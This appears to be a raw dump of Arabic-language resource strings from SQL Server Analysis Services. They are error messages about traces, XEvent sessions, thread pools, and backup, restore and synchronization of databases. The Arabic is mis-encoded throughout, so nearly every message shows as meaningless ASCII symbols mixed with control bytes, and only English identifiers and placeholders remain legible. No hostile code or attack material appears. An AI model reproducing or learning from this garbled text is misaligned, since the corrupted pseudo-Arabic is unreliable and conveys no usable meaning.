**(9'* #H 'D'4*1'C AJG' (/HF 4,1) 9'ED 'D*5AJ).9H',G **(9 'D*/BJB .7# HJBHE (%JB'A 'D./E) 'D.'5) ('DE+JD.�*H,/ 9B/) 9'ED *5AJ) DG' 4,1) A19J) (JFE' :J1 E3EH- (#J 4,1) A19J). AB7 9OB/ 9'ED 'D*5AJ) AND HOR HNOT JECF #F *CHF DG' #4,'1 A19J).a*H,/ 9B/) 9'ED *5AJ) EF FH9 AND #H OR EABH/) EF H'-/) #H #C+1 EF 'D#4,'1 'DA19J). 'DE7DH( '+F*'F.DJ,( #F **6EF 9B/) 9'ED 'D*5AJ) EF 'DFH9 NOT 4,1) A19J) H'-/) ('D6(7.'*E %F4'! 9B/) 9'ED *5AJ) (FH9 :J1 5'D-.q*-*HJ 9B/) 9'ED 'D*5AJ) EF 'DFH9 AND #H OR #H NOT 9DI E91QA 9EH/. D' JECF #F *-*HJ G0G 'D#FH'9 9DI E91A'* 'D9EH/.a*-*HJ 9B/) 9'ED 'D*5AJ) EF 'DFH9 AND #H OR #H NOT 9DI BJE). D' JECF #F *-*HJ G0G 'D#FH'9 9DI BJE.S9B/) 9'ED *5AJ) *-*HJ 9DI 9EH/ '%{column/}' :J1 EH,H/ AJ 'D**(9 H:J1 E4*B EF SPID.:J,( #F *-*HJ 9B/) 9'ED *5AJ) EF 'DFH9 LIKE 9DI BJE) 3D3D).PAMD' JECF #F **6EF 9B/) 9'ED *5AJ) EF 'DFH9 LIKE BJE) 3D3D) #C(1 EF 10,000 -1A.B-/+ .7# AJ *7'(B 'D3D3D) #+F'! *BJJE *9(J1 9'ED *5AJ) LIKE DD**(9.!*E %D:'! 'D**(9 (H'37) 9EDJ) -0A.7**7D( 9B/) 9'ED *5AJ) EF 'DFH9 AND #H OR E9'EDJF '+FJF.0'DBJE) 'D*J *E *2HJ/G' D-,E EDA 'D3,D :J1 5'D-).?*E* EH',G) 9EH/ 0J (FJ) FH9 :J1 5'D-) #+F'! *-DJD *91JA 'D**(9.ID' JECF %F4'! **(9 'DF8'E '%{tracename/}' #H *(/JDG EF .D'D 7D( 'D9EJD.U'DC'&F 'DE-// AJ 7D( 'D9EJD DJ3 C'&F **(9. JECF DD9EJD 'D'4*1'C AB7 AJ C'&F'* 'D**(9.7E3$HDH 'D.'/E GE AB7 'D0JF JECFGE *4:JD **(9 'D'3*9D'E.(/# **(9 'D'3*9D'E ('DA9D.4**(9 'D'3*9D'E DJ3 F47K' D0' D' JECF %JB'AG E$B*K'.#DE J*E %JB'A **(9 'D'3*9D'E E$B*K'.*D' JECF %JB'A **(9 'D'3*9D'E D#FG DE J(/#.5D' JECF '3*1/'/ E9DHE'* **(9 'D'3*9D'E D#FG' DE J(/#.W9EB 'D*3D3D D9EDJ) '3*1/'/ **(9 'D'3*9D'E DG 'DBJE) '%d{leveldepth/}' :J1 'DE3EH- (G'.f'3E 9B/) 'D,01 D9EDJ) '3*1/'/ **(9 'D'3*9D'E DG 'DBJE) '%{nodename/}' :J1 'DE*7'(B) E9 #J 9B/ EH,H/).PJ-*HJ 'D**(9 '%{tracename/}' 9DI '%{elementname/}' HGH :J1 E3EH- (G D**(9 XEvent2D' J-*HJ 'D**(9 '%{tracename/}' 9DI *91JA 'D#-/'+.WJ-*HJ 'D**(9 '%{tracename/}' 9DI *91JA DCD EF XEvents HProfiler Events. :J1 E3EH- (0DC.KJ-*HJ 'D**(9 '%{tracename/}' 9DI '%{elementname/}' HGH DJ3 9F51 XML 5'D-K'.BJ,( #F J*6EF 'D**(9 '%{tracename/}' 9F51 '%{elementname/}' H'-/K'.`JF(:J 9DI **(9 XEvent Audit '%{tracename/}' #F J*6EF '%{attrName/}' D*9JJFG %DI '%{attrValue/}'.P%F **(9 */BJB XEvent HGH '%{tracename/}' D' J*6EF 'DG/A 'DE91QA %{targetName/}'.)-/+ .7# EF E-1C XEvent: '%{xeventerror/}'C'DE3'1 'DF3(J :J1 E9*E/ DC'&F'* 'D**(9 ('3*./'E LogFilename 'DE-//.`D' J-*HJ 'D9F51 '%{elementname/}' AJ 'D**(9 '%{tracename/}' 9DI 3E) '%{attributename/}' 'DE91A).RJ,( #F JCHF '3E ,D3) XEvent '%{sessionname/}' E7'(BK' D'3E 'D**(9 '%{tracename/}'.3-/+ .7# /'.DJ AJ E-1C XEvent. 1E2 'D.7#: %d{code/}.'A4D* 9EDJ) XEvent (3(( 6:7 9DI 'D0'C1).A4D* *GJ&) E-1C XEvent.5J*901 'D9+H1 9DI ,D3) 'D9ED '%{sessionname/}' XEvent.�J*901 'D9+H1 9DI G/A */AB 'D-/+ AJ ,D3) 'D9ED '%{sessionname/}' XEvent. D' JECFC 'D'4*1'C %D' AJ ,D3) 9ED XEvent *E (G' %F4'! G/A */AB -/+.PAF*-*HJ ,D3) 9ED XEvent 9DI 'DG/A 'DE('41 '%{targetid/}' 'D0J *E %JB'AG.[*E 1A6 'DH5HD %DI **(9 XEvent. JECF DDE3$HDJF AB7 %F4'! 9EDJ'* **(9 XEvent #H 'D'4*1'C (G'.)9EDJ'* **(9 'D,D3) :J1 E/9HE) D@ XEvents.]E91A 'D'4*1'C :J1 5'D- J,( #F JCHF A1J/K' 9F/ 'D'4*1'C HE91A '4*1'C E3,D 9F/ %D:'! 'D'4*1'C.PA*'C*ED* 'D9EDJ) (E4CD'* %d{Count/} 'DE3,D).	:J1 E91HA
*-DJD B5J1
*-DJD 7HJD'3*9D'E9EDJ)
E9'D,) I/OVertiPaqPA/*E %D:'! 'D9EDJ) D#F 'DE3$HD B'E (%JB'A 'DE+JD.*E %D:'! 'D9EDJ).4*E %D:'! 'D9EDJ) DBJ'E A4D **(9 */BJB (%JB'A 'DE+JD.)*E %D:'! 'D9EDJ) (3(( %D:'! ,D3) 'D9EDJ).�*E %D:'! 'D9EDJ) (3(( 9/E *HA1 0'C1) C'AJ) DD*7(JB. AJ -'D) '3*./'E %5/'1 32 (* EF 'DEF*, A*F(:J 'D*1BJ) %DI 64 (* #H 2J'/) E3'-) 'D0'C1) 'DE*HA1) 9DI 'D,G'2.1*E %D:'! 'D9EDJ) (3(( A4D 9EDJ) #.1I AJ 'DE9'ED).7*E %D:'! 'D*.2JF 'DE$B* 'DHB'&J (3(( *HA1 (J'F'* ,/J/).D*E %D:'! ,D3) 'D9ED (3(( *9/JD C'&F'* ,D3) 'D9ED (H'37) E9'ED) #.1I.* *E %D:'! 'D9EDJ) (3(( *9'16'* AJ 'D*#EJF.!*E %D:'! 'D9EDJ) (H'37) 'DE3*./E.�*E %D:'! ,D3) 'D9ED D#FG' *,'H2* %9/'/ 'DEGD) (EGD) ,D3) 9ED /HF #5D #H EGD) ,D3) 9ED E97DQ)) #H D*,'H2G' -/ 0'C1) ,D3) 'D9ED. (1E2 'D/9E: '%{KillReason/}').�%9/'/ *CHJF GroupAffinity D@ '%{PoolName/}' ThreadPool :J1 EF3B (4CD 5-J-. J,( #F J-*HJ 'D%9/'/ 9DI *3D3D EB3HE (A'5D) DD3D'3D 'D3/'3J) 'D941J) 'D*J *-*HJ 9DI #BF9) *B'1( DCD E,EH9) E9'D, AJ 'DF8'E.�*901 %F4'! '%{PoolName/}' ThreadPool D#F %9/'/ *CHJF GroupAffinity 'D.'5 (G DE *F*, 9FG E9'D,'* J*E *9JJFG' %DI *,E9 E$41 'D*1'(7..*E %D:'! ,D3) 'D9ED 'DE$B*) D9/E 'D-',) %DJG'.B*E %D:'! ,D3) 'D9ED HABK' D9FH'F %FG'! ,D3) 'D9ED AJ 7D( 'DE3*./E.(*E %D:'! ,D3) 'D9ED D%JB'A *4:JD 'D.'/E. .7# .'5 D*4:JD *A1J: 0'C1) J/HJ.Q-/+ A4D #+F'! '3*/9'! 'D/'D) PSAPI '%{Function/}' 1E2 .7# 'DF8'E=%d{errorCode/}.2*E (DH: #B5I 9// EF 'D5AHA (%d{rowsetSizeLimit/}).+*E %D:'! 'D7D( F81K' D#FG *E %:D'B 'D'*5'D.1*E %D:'! 'D7D( D#F -'D) 'D7D( :J1 E*HB9) DD*FAJ0.<*E %D:'! ,D3) 'D9ED D#FG' E*5D) (B'9/) (J'F'* J*E '3*1/'/G'.w*E %D:'! 'D7D( (3(( A4D %F4'! 7D( 'D9EJD #H H69G (B'&E) 'D'F*8'1. B/ JCHF 'D3(( AJ G0' #F 'D.'/E (-'D) 0'C1) :J1 C'AJ).5,'1M %D:'! 'DE9'ED) AJ ,D3) 'D9ED %d{TargetSession/}.PA'F*G* EGD) 9EDJ) 'D*#EJF.>#+F'! E-'HD) 'D-5HD 9DI *#EJF H'-/ #H #C+1 *E %D:'! 'DE9'ED).1*E 9ED E-'HD) D%D:'! *#EJF C'&F :J1 E$EQF ('DA9D.C'&F E/J1 'D*#EJF :J1 EH,H/./'F*G* 9EDJ) 'D*#EJF /HF F,'- (3(( 'D*HBA 'D*'E.#EO91QA 'D*#EJF 'DE-// EH,H/ ('DA9D.J*7D( 'D7D( E9'ED) F47).:A4D* 9EDJ) 'D*#EJF (3(( H,H/ *:JJ1'* C+J1) ,/K' AJ 'DC'&F.(/# 'DF3. 'D'-*J'7J.'F*GI 'DF3. 'D'-*J'7J.A4D 'DF3. 'D'-*J'7J.(/#* 'D'3*9'/).'F*G* 'D'3*9'/).A4D* 'D'3*9'/).(/#* 'DE2'EF).'F*G* 'DE2'EF).A4D* 'DE2'EF).�'D9/J/ EF 'D#H'E1 E+D RestoreSynchAttachCreate #H Alter DB'9/) 'D(J'F'* 0'* name='%{objectName/}' #H ID='%{objectId/}' @ H'D*J D' *H,/ 9DI 'D.'/E (9/ @ *9ED AJ FA3 'DHB*. *E %D:'! 'DE9'ED) 'D-'DJ).%(/# ',*J'2 (J'F'* 'D*91JA 'D'-*J'7J).''F*GI ',*J'2 (J'F'* 'D*91JA 'D'-*J'7J).+A4D 'DF3. 'D'-*J'7J D',*J'2 (J'F'* 'D*91JA.4/E, EDA 'DE9'ED) '%1' %DI EDA *.7J7 'D%5/'1 'D1&J3J.\'DC'&F 'DE-// AJ 7D( 9EJD DJ3 C'&F B'9/) (J'F'*. JECF DD9EJD E2'EF) C'&F B'9/) 'D(J'F'* AB7.f'DC'&F 'DE-// AJ 7D( 9EJD DJ3 C'&F B'9/) (J'F'*. JECF DD9EJD 'DF3. 'D'-*J'7J DC'&F B'9/) 'D(J'F'* AB7.|D' JECF '3*9'/) 'DC'&F '%{objectname/}' D#F 'DC'&F EH,H/ ('DA9D. BE (*9JJF %9/'/ AllowOverwrite %DI True DDC*'() AHB 'DC'&F.�EDA 'DF3. 'D'-*J'7J '%{filename/}' EH,H/ ('DA9D. BE (*HAJ1 '3E EDA E.*DA #H '-0A EDA 'DF3. 'D'-*J'7J 'DEH,H/ #H BE (*9JJF %9/'/ AllowOverwrite %DI True +E C11 'D9EDJ).^D' JECF 'DF3. 'D'-*J'7J DC'&F (J'F'* 'D*91JA ('DE91QA '%{objectid/}' ('D'3E '%{objectname/}'.tDE J*E 'D9+H1 9DI 'DC'&F ('DE91QA '%{objectid/}' H('D'3E '%{objectname/}' AJ EDA 'DF3. 'D'-*J'7J HD' JECF '3*9'/*G.�-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): (J'F'* 'D*91JA 'D'-*J'7J) *'DA) HDG0' J*901 9DI 'D9EDJ) *-/J/ EHB9 'D9B/) '%{node/}' #H E9'D,*G'.�JH,/ ('DA9D C'&F ('DA9D ('D'3E '%{objectname/}' AJ 'DE+JD. (*F7(B 'D9D'E) The AllowOverwrite AB7 9DI E91QA 'DC'&F '%{objectid/}' HDJ3 9DI '3E 'DC'&F.)?-/+ .7# #+F'! 'DE2'EF): D' JECF E2'EF) 'DC'&F'* 9DI FA3 'DE+JD.�-/+ .7# #+F'! 'DE2'EF): D' JECF E2'EF) 'DC'&F'* 9DI  'DE+JD'* 0'* %9/'/'* H69 *.2JF EDA E.*DA) E+D %9/'/'* XML 'D+F'&J H%9/'/'* 'D6:7.x3,D 'DF3.) 'D'-*J'7J) 'DE.2F /'.D EDA 'DF3.) 'D'-*J'7J) :J1 EH,H/ #H *'DA EDA ABF *'DA HD' JECF '3*9'/) B'9/) 'D(J'F'*.�-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): (J'F'* 'D*91JA 'D'-*J'7J) *'DA) DG0' J*901 9DI 'D9EDJ) *-/J/ EHB9 'D9B/) '%{node/}' #H E9'D,*G' EF EDA 'DF3.) 'D'-*J'7J) '%{file/}'.t-/+ .7# #+F'! 'DF3. 'D'-*J'7J: D' *H,/ E3'-) C'AJ) 9DI 'DB15 AJ E-1C 'D#B1'5 '%{drive/}' D%F4'! EDA 'DF3. 'D'-*J'7J.E-/+ .7# #+F'! 'D'3*9'/): *E *97JD 'D#E1 Restore DDEC9('* :J1 'DE*5D).D-/+ .7# #+F'! 'DE2'EF): *E *97JD 'D#E1 Synchronize DDEC9('* 'DE-DJ).PAb-/+ .7# #+F'! 'DE2'EF): A4D 'D#E1 Synchronize #+F'! E2'EF) B'&E) EDA A'1:) ('DE1-D) 'D#HDI A'1:)).E-/+ .7# #+F'! 'DE2'EF): J-'HD 'D#E1 Synchronize *C1'1 'DE1-D) 'D#HDI.d-/+ .7# #+F'! 'DE2'EF): J-'HD 'D9EJD 'DH5HD %DI 'DEDA '%{file/}' HGH :J1 E6EF AJ B'&E) EDA 'DE2'EF).;*E* EH',G) #E1 :J1 E*HB9 #H 9B/) :J1 E*HB9) #+F'! 'DE2'EF).3-/+ .7# #+F'! E2'EF) B'9/) 'D(J'F'* '%{Database/}'.�-/+ .7# #+F'! E2'EF) B'9/) 'D(J'F'* '%{Database/}': J,( #F JCHF DE+JD'* 'DE5/1 H'D,G) FA3 'DBJE) DD.'5J) SupportEncryptedConnectionString.G-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): %5/'1'* 'DE+JD 'DE3*./E) :J1 E*H'AB)./JECF #F JCHF ED-B EDA 'DF3. 'D'-*J'7J ABF. AB7.{-/+ .7# #+F'! 'DE2'EF): E2'EF) LOG D(J'F'* 'D*91JA *'DA) D' JECF *-/J/ EHB9 'D9B/) %{node/} H/#H E9'D,*G' 'DEDA %{file/}.�J,( #F *CHF B'9/) 'D(J'F'* 'DE3*9'/)/'DE*2'EF) '%{database/}' EH,H/) ('DA9D 9DI 'D,G'2 'DG/A HJ,( #F *-*HJ 9DI E5/1 'D(J'F'* 'D1&J3J 'D0J J4J1 %DI B'9/) 'D(J'F'* 'D1&J3J).qJ,( #F JCHF DCD EF BH'9/ 'D(J'F'* 'DE3*9'/) (#H 'DE*2'EF)) H'D,/J/) FA3 E91QA E5/1 'D(J'F'* datasourceId 'D1&J3J.�E91QA E5/1 'D(J'F'* '%{datasourceid/}' 'DE-// AJ 'D#E1 Synchronize :J1 EH,H/ AJ E5/1 'D(J'F'* 'DE*2'EF. -// E5/1 'D(J'F'* 'D5-J- +E C11 'D#E1.�-/+ .7# #+F'! '3*9'/) B'9/) 'D(J'F'* '%{Database/}': *E %F4'! EDA 'DF3. 'D'-*J'7J 9DI .'/E (BJE) E.*DA) DD.'5J) SupportEncryptedConnectionString.QD' JECF 'D'3*9'/) ('3*./'E DatabaseId/DatabaseName DB'9/) (J'F'* 0'* #B3'E (9J/).?J,H2 DD#E1 Restore #F J-*HJ 9DI DatabaseId E9 DatabaseName AB7.�A4D* 'D'3*9'/). *E %F4'! EDA 'DF3. 'D'-*J'7J 9DI .'/E ('3*./'E EnableBinaryXML=%d{BLSet/} HJ,1J *4:JD 'D.'/E 'D-'DJ (H'37) EnableBinaryXML=%d{CSSet/}.PA�A4D* 'D'3*9'/). *E %F4'! EDA 'DF3. 'D'-*J'7J 9DI 'D.'/E ('3*./'E EnableCompression=%d{BLSet/} HJ,1J *4:JD 'D.'/E 'D-'DJ ('3*./'E EnableCompression=%d{CSSet/}.�A4D* 'DE2'EF). J*E *4:JD 'DE2'EF) EF 'D.'/E failed. ('3*./'E EnableBinaryXML=%d{BLSet/} HJ,1J *4:JD 'D.'/E 'D-'DJ ('3*./'E EnableBinaryXML=%d{CSSet/}.�A4D* 'DE2'EF). *,1J 'DE2'EF) EF 'D.'/E ('3*./'E EnableCompression=%d{BLSet/} HJ,1J *4:JD 'D.'/E 'D-'DJ ('3*./'E EnableCompression=%d{CSSet/}.�A4D* 'DE2'EF). *E %F4'! EDA 'DF3. 'D'-*J'7J 9DI .'/E ('3*./'E ConnStringEncryptionEnabled=%d{BLSet/} HJ,1J *4:JD 'D.'/E 'D-'DJ ('3*./'E ConnStringEncryptionEnabled=%d{CSSet/}.�A4D* 'DE2'EF). J*E *4:JD 'DE2'EF) EF 'D.'/E ('3*./'E ConnStringEncryptionEnabled=%d{BLSet/} HJ,1J *4:JD 'D.'/E 'D-'DJ ('3*./'E ConnStringEncryptionEnabled=%d{CSSet/}.�JH,/ C'&F (FA3 'DE91A '%{objectId/}' DCF JH,/ '3E '%{objectname/}' E.*DA ('DA9D 9DI 'DE+JD. (*F7(B 9D'E) AllowOverwrite AB7 9DI E91QA 'DC'&F HDJ3 9DI '3E 'DC'&F.)pD' JECF *FAJ0 'D#H'E1 Backup #H Restore #H Synchronize /'.D E9'ED) *E *EGJ/G' (H'37) E3*./E #H AJ /OA9) E9'ED'*.dD' JECF 'D'3*9'/) ('3*./'E DatabaseId/DatabaseName E.*DA DB'9/) (J'F'* 0'* #B3'E ('3*./'E EHB9 E-//.�'D4,1) 'DA19J) DEHB9 'D#E1 Restore 'DE3*./E) D'3*9'/) 'DB3E 'D(9J/ :J1 C'ED): J,( #F **6EF DataSourceId :J1 A'1: HDatasourceType=Remote HFile E9K'. #E' E,D/'* 'D9F'51 HConnectionString AGE' '.*J'1J'F.�'D4,1) 'DA19J) DEHB9 'D#E1 Restore 'DE3*./E) D*-/J+ 3D'3D '*5'D DS :J1 C'ED): J,( #F *-*HJ 9DI DataSourceId :J1 A'1:) HDatasourceType=Local HConnectionString E9K'. :J1 E3EH- (EDA 'D9F'51 H'DE,D/'*.�J,( #F *-*HJ 'D4,1) 'DA19J) DEHB9 'D#E1 Restore 'DE3*./E) D*-/J/ EHB9 'DE,D/ 9DI 9F51 E,D/ H'-/ :J1 A'1: 9DI 'D#BD. :J1 E3EH- (EDA 'D9F'51 HDatasourceType HDataSourceId HConnectionString.OJ3E- 'D#E1 Restore (*-/J/ 9F51 EHB9 H'-/ AB7 D*9JJF EHB9 C'A) 'DE,D/'* 'DE-DJ).�'D4,1) 'DA19J) DEHB9 'D#E1 Synchronize 'DE3*./E) D'3*9'/) 'DB3E 'D(9J/ :J1 C'ED): J,( #F *-*HJ 9DI DataSourceId :J1 A'1: HDatasourceType=Remote HConnectionString E9K'. #E' E,D/'* 'D9F51 AGJ '.*J'1J). :J1 E3EH- EDA 'D9F51.�'D4,1) 'DA19J) DEHB9 'D#E1 Synchronize 'DE3*./E) D*-/J+ 3D'3D '*5'D DS :J1 C'ED): J,( #F *-*HJ 9DI DataSourceId :J1 A'1: HDatasourceType=Local HConnectionString E9K'. :J1 E3EH- (EDA 'D9F'51 H'DE,D/'*.�J,( #F *-*HJ 'D4,1) 'DA19J) DEHB9 'D#E1 Synchronize 'DE3*./E) D*-/J/ *.7J7 EHB9 'DE,D/ 9DI 'D#BD 9DI 9F51 E,D/ H'-/ :J1 A'1:. :J1 E3EH- (EDA 'D9F'51 HDatasourceType HDataSourceId HConnectionString.�'D9/J/ EF 'D#H'E1 E+D RestoreSynchAttachCreate #H Alter DB'9/) 'D(J'F'* 0'* name='%{objectName/}' #H ID='%{objectId/}' @ H'D*J D' *H,/ 9DI 'D.'/E (9/@ *9ED AJ FA3 'DHB*. *E %D:'! 'DE9'ED) 'D-'DJ).PA�A4D* 'D9EDJ). DE J*91A 'D.'/E 9DI %5/'1 'DF3.) 'D'-*J'7J) (ver=%d{version/}) 1(E' *E %F4'$G (H'37) %5/'1 #-/+ EF Analysis Services.SJ3E- 'D#E1 Synchronize (*-/J/ 9F51 EHB9 H'-/ AB7 D*9JJF EHB9 ,EJ9 'DE,D/'* 'DE-DJ).�-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): %/.'D /DJD E.2F 'DFO3. 'D'-*J'7J) *'DA DG0' J*901 9DI 'D9EDJ) *-/J/ EHB9 'D9B/) '%{node/}' #H E9'D,*G' EF EDA E.2F 'DFO3. 'D'-*J'7J) #+F'! B1'!) %/.'D /DJD 'D*.2JF.�-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): /DJD E.2F 'DFO3. 'D'-*J'7J) *'DA DG0' J*901 9DI 'D9EDJ) *-/J/ EHB9 'D9B/) '%{node/}' #H E9'D,*G' EF EDA E.2F 'DFO3. 'D'-*J'7J) #+F'! B1'!) 9FH'F /DJD 'D*.2JF.�-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): 9FH'F E.2F 'DFO3. 'D'-*J'7J) *'DA DG0' J*901 9DI 'D9EDJ) *-/J/ EHB9 'D9B/) '%{node/}' #H E9'D,*G' EF EDA E.2F 'DFO3. 'D'-*J'7J) #+F'! B1'!) 9FH'F 'D*.2JF.�-/+ .7# #+F'! 'DF3. 'D'-*J'7J/'D'3*9'/): EDA 'DF3.) 'D'-*J'7J) '%{fileName/}' 'DEO.2F /'.D E.2F 'DFO3. 'D'-*J'7J) *'DA: A4D 'D*-BB EF 5-) CRC.�-/+ .7# #+F'! 'DF3. 'D'-*J'7J/'D'3*9'/): EDA 'DF3.) 'D'-*J'7J) '%{fileName/}' 'DEO.2F /'.D E.2F 'DFO3. 'D'-*J'7J) *'DA: A4D 'D*-BB EF 5-) EOF.�-/+ .7# #+F'! 'DF3. 'D'-*J'7J/'D'3*9'/): H8JA) ABFDumper :J1 E9*E/) DEDA'* 'DF3. 'D'-*J'7J 'D*J *E %F4'$G' (H'37) .'/E AS2005. *E *.7J 'DEDA '%{fileName/}'.tD' JECF '3*9'/) B'9/) (J'F'* ('D'3E '%{DBName/}' H'DE91A '%{DBId/}' D#FG' EH,H/) ('DA9D 9DI 'D.'/E HGJ DDB1'!) AB7.|D' JECF E2'EF) B'9/) 'D(J'F'* ('D'3E '%{DBName/}' H'DE91QA '%{DBId/}' D#FG' EH,H/) ('DA9D 9DI 'D.'/E 'DG/A HGJ DDB1'!) AB7.P'DEDA '%{fileName/}' 'DE-// AJ 'D#E1 "'3*9'/)" *'DA #H DJ3 EDA F3.) '-*J'7J) AS.�'DEDA '%{fileName/}' 'DE-// AJ 'D#E1 Restore GH EDA F3. '-*J'7J E4A1 (F8'E *4AJ1 AS HB/ *E %F4'$G (H'37) %5/'1 3'(B EF SQL 2008 AJ 'DF8'E 'D#3'3J IA64 HD' JECF '3*9'/*G AJ 'D#F8E) 'D#3'3J) x86 #H AMD64.WA4D* 'D'3*9'/). JECF '3*9'/) EDA 'DF3. 'D'-*J'7J AB7 9DI .'/E J,1J *4:JDG AJ H69 ,/HDJ.�A4D 'D'3*J1'/. *E %F4'! FEH0, 'D,E9 'DE3*H1N/ 9DI .'/E ('3*./'E DeploymentMode=%d{BLSet/} HJ,1J *4:JD 'D.'/E 'D-'DJ ('3*./'E DeploymentMode=%d{CSSet/}.FH8JA) 'DE2'EF) :J1 E9*E/) DD.'/E 'D0J J,1J *4:JDG AJ 'DH69 Sharepoint.T9/E *7'(B H69 'D.'/E 'DG/A: JO3E- (9EDJ'* ImageLoad HImageSave AB7 AJ 'DH69 'D,/HDJ.='D'3*J1'/ :J1 E9*E/ DD.'/E 'D0J J,1J *4:JDG AJ 'DH69 'D,/HDJ.J'D*5/J1 :J1 E9*E/ D@ Analysis Services 'D*J J,1J *4:JDG' AJ 'DH69 'D,/HDJ.B.J'1'* 'D#E'F 'D(/JD) :J1 E/9HE) AJ 'DH69 'D,/HDJ DD9EDJ) 'D-'DJ).PD' JECFC *-/J/ EH'B9 (/JD) DDF3. 'D'-*J'7J 9DI 'D#,G2) 'D(9J/) AJ 'DH69 'D,/HDJ.ND' JECFC *-/J/ EH'B9 (/JD) D'3*9'/) B'9/) 'D(J'F'* 'D.'5) (C AJ 'DH69 'D,/HDJ.rD' J3E- 'D.'/EO (E-'HD) '3*9'/) 'DF3. 'D'-*J'7J DB'9/) (J'F'* ReadOnly Share ('3*./'E E91QA B'9/) 'D(J'F'* 'D,/J/.AD' JO3E- ('D#E1 Restore 9F/ '3*./'E E-1C Analysis Services E6EQF.@D' JO3E- ('D#E1 Backup 9F/ '3*./'E E-1C Analysis Services E6EQF.t/AB E.2F 'DFO3. 'D'-*J'7J) A'1: #H D' J-*HJ 9DI 9FH'F EF'3( D' JECF '3*9'/) B'9/) 'D(J'F'* (F,'-. *E %D:'! 'D9EDJ).�EDA E.2F 'DFO3. 'D'-*J'7J) '%{pathname/}' A'1: #H D' J-*HJ 9DI 9FH'F EF'3( D' JECF '3*9'/) B'9/) 'D(J'F'* (F,'-. *E %D:'! 'D9EDJ).lD' JECFC '3*9'/) B'9/) 'D(J'F'* 'D.'5) (C AJ 'DH69 'D,/HDJ D#FG' *-*HJ 9DI EH'B9 (/JD) .'1, E,D/ "'D(J'F'*".�J-*HJ EDA 'DF3. 'D'-*J'7J 0H 'D%5/'1 10.50 9DI ReadOnlyExclusive DB H'D*J JECF '3*9'/*G' AB7 9DI 'D.H'/E 'D*J */9E 9EDJ'* 'DF3. 'D'-*J'7J D%5/'1'* 10.51 #H 'D#-/+.T9FH'F 'D-81 'DE6:H7 :J1 5'D- -/+ .7# #+F'! AC 6:7 '%{pathname/}'. *E %D:'! 'D9EDJ).bEDA E.2F 'DFO3. 'D'-*J'7J) *'DA: -,E 'D5A-) :J1 E/9HE. #-,'E 'D5A-) 'DE/9HE) GJ 4096 8192 16384.aA4D* 'D'3*9'/). JECF '3*9'/) EDA 'DF3. 'D'-*J'7J AB7 9DI .'/E J,1J *4:JDG AJ 'DH69 E*9// 'D#(9'/.{9// :J1 E*HB9 EF EDA'* 'DB15 EB*1F) E9 C'&F B'9/) 'D(J'F'*. 'D3(( 'DE-*ED GH AB/'F EDA cryptokey.bin #H detach.log #H *DAG.g*DA EDA E.2F 'DFO3. 'D'-*J'7J): 'DEDA :J1 EH,H/. 'D3(( 'DE-*ED DG0' 'D.7# GH *DA EDA 'DF3.) 'D'-*J'7J).3E3'1 'DEDA 'DF3(J :J1 E9*E/ DEDA'* 'DF3. 'D'-*J'7J.{A4D* 'DE2'EF) D#F 'D.'/E 'DE5/1 *E *9JJFG DD9ED AJ 'DH69 E*9// 'D#(9'/ (JFE' 'D.'/E 'DG/A *E *9JJFG DD9ED AJ 'DH69 'D,/HDJ.{A4D* 'DE2'EF) D#F 'D.'/E 'DE5/1 *E *9JJFG DD9ED AJ 'DH69 'D,/HDJ (JFE' 'D.'/E 'DG/A *E *9JJFG DD9ED AJ 'DH69 E*9// 'D#(9'/.�-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): (J'F'* 'D*91JA 'D'-*J'7J) *'DA) HDG0' J*901 9DI 'D9EDJ) *-/J/ EHB9 'D9B/) '%{node/}' #H E9'D,*G'.x3,D 'DF3.) 'D'-*J'7J) 'DE.2F /'.D EDA 'DF3.) 'D'-*J'7J) :J1 EH,H/ #H *'DA EDA ABF *'DA HD' JECF '3*9'/) B'9/) 'D(J'F'*.�-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): (J'F'* 'D*91JA 'D'-*J'7J) *'DA) DG0' J*901 9DI 'D9EDJ) *-/J/ EHB9 'D9B/) '%{node/}' #H E9'D,*G' EF EDA 'DF3.) 'D'-*J'7J) '%{file/}'.�-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): %/.'D /DJD E.2F 'DFO3. 'D'-*J'7J) *'DA DG0' J*901 9DI 'D9EDJ) *-/J/ EHB9 'D9B/) '%{node/}' #H E9'D,*G' EF EDA E.2F 'DFO3. 'D'-*J'7J) #+F'! B1'!) %/.'D /DJD 'D*.2JF.�-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): /DJD E.2F 'DFO3. 'D'-*J'7J) *'DA DG0' J*901 9DI 'D9EDJ) *-/J/ EHB9 'D9B/) '%{node/}' #H E9'D,*G' EF EDA E.2F 'DFO3. 'D'-*J'7J) #+F'! B1'!) 9FH'F /DJD 'D*.2JF.�-/+ .7# #+F'! 'D'3*9'/)/'DE2'EF): 9FH'F E.2F 'DFO3. 'D'-*J'7J) *'DA DG0' J*901 9DI 'D9EDJ) *-/J/ EHB9 'D9B/) '%{node/}' #H E9'D,*G' EF EDA E.2F 'DFO3. 'D'-*J'7J) #+F'! B1'!) 9FH'F 'D*.2JF.�-/+ .7# #+F'! 'DF3. 'D'-*J'7J/'D'3*9'/): EDA 'DF3.) 'D'-*J'7J) '%{fileName/}' 'DEO.2F /'.D E.2F 'DFO3. 'D'-*J'7J) *'DA: A4D 'D*-BB EF 5-) CRC.�-/+ .7# #+F'! 'D*.2JF 'D'-*J'7J/'D'3*9'/): EDA 'D*.2JF 'D'-*J'7J '%{fileName/}' 'DEO.2F /'.D E.2F 'D*.2JF 'D'-*J'7J *'DA: A4D 'D*-BB EF 5-) EOF.P'DEDA '%{fileName/}' 'DE-// AJ 'D#E1 "'3*9'/)" *'DA #H DJ3 EDA F3.) '-*J'7J) AS.t/AB E.2F 'DFO3. 'D'-*J'7J) A'1: #H D' J-*HJ 9DI 9FH'F EF'3( D' JECF '3*9'/) B'9/) 'D(J'F'* (F,'-. *E %D:'! 'D9EDJ).�EDA E.2F 'DFO3. 'D'-*J'7J) '%{pathname/}' A'1: #H D' J-*HJ 9DI 9FH'F EF'3( D' JECF '3*9'/) B'9/) 'D(J'F'* (F,'-. *E %D:'! 'D9EDJ).bEDA E.2F 'DFO3. 'D'-*J'7J) *'DA: -,E 'D5A-) :J1 E/9HE. #-,'E 'D5A-) 'DE/9HE) GJ 